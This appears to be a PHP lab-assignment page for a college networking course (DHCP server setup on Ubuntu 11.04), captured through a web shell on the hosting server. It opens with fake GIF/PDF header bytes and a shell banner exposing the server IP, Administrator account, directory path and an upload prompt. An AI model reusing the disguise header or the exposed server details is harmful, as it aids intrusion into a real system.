GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab12/ |
Upload File : |
<? // JimMartinson/CST2608/Lab12/Lab12.phpinc $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('../classInfo.phpinc'); $assignmentNumber = 12; $assignmentType = "Lab"; $assignmentTitle = "DHCP server setup on Ubuntu 11.04"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); $userFullName = str_replace(" ","",$_SESSION['userFullName']); include('JimMartinson/CST2608/Usettings.phpinc'); ?> <p> <fieldset><legend>Description</legend> Setup a DHCP server. <br><a href="https://help.ubuntu.com/11.04/serverguide/C/dhcp.html">Ubuntu Documentation > Ubuntu 11.04 > Ubuntu Server Guide > Networking > Dynamic Host Configuration Protocol (DHCP)</a> </fieldset> <fieldset><legend>Lab Instruction</legend> <ol start="1"> <li>Configure a static IP address on your Ubuntu 11.04 server. <br>I have assigned the last octet of the IP address you must use for your Ubuntu 11.04 server. It is .<b><?=$Uipaddress?></b>. <br>Note that I have found that the Gnome network configuration utility is missing in Ubuntu 11.04. <br>You will have to edit the /etc/network/interfaces file manually. I used the command: <br><kbd>sudo gedit /etc/network/interfaces</kbd>, commented out the <code>iface eth0 inet dhcp</code> line and added: <pre class="code">iface eth0 inet static address 192.168.ccc.<?=$Uipaddress?> netmask 255.255.255.0 gateway 192.168.ccc.2</pre> Note: My VMnet8 network is 192.168.<?=$Iccc?>.0 so I would replace <span class="code">ccc</span> with <span class="code"><?=$Iccc?></span>. <!-- <br>You can install the Gnome network admin with: <kbd>sudo apt-get install gnome-network-admin</kbd>, but this utility no longer allows editing the IP address. --> </li> <li>Install and configure DHCP server on you 11.04 Ubuntu server. <br>Configure it to lease IP addresses in a range from .200 to .225. </li> <li>Setup an XP VMware machine that uses the same network your Ubuntu server is on and to use DHCP. <ol type="a"> <li>Restart or renew the interface on the XP VMware machine to obtain an IP address from your Ubuntu 11.04 DHCP server. <br />From a Windows XP VMware machine use the commands: <br /><kbd>ipconfig /release</kbd> <br /><kbd>ipconfig /renew</kbd> <br />Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</b>. </li> <li>Display the IP address information. <br />From a Windows XP VMware machine use the command: <br /><kbd>ipconfig /all</kbd> <br />Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</b>. </li> </ol> </li> <li> <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png.</li> <li>/etc/default/dhcp3-server.</li> <li>/etc/dhcp3/dhcpd.conf.</li> <li>/etc/network/interfaces.</li> </ol> </li> </ol> </fieldset> <fieldset class="pio"><legend>Grading Criteria</legend> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </fieldset> <fieldset class="pio"><legend>Objectives</legend> <ol class="obj pio" start="4"> <!-- 2 4 --> <li>Describe TCP/IP networking.</li> <li>Install and configure Dynamic Host Configuration Protocol (DHCP).</li> <li>Use DHCP.</li> </ol> </fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('../ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>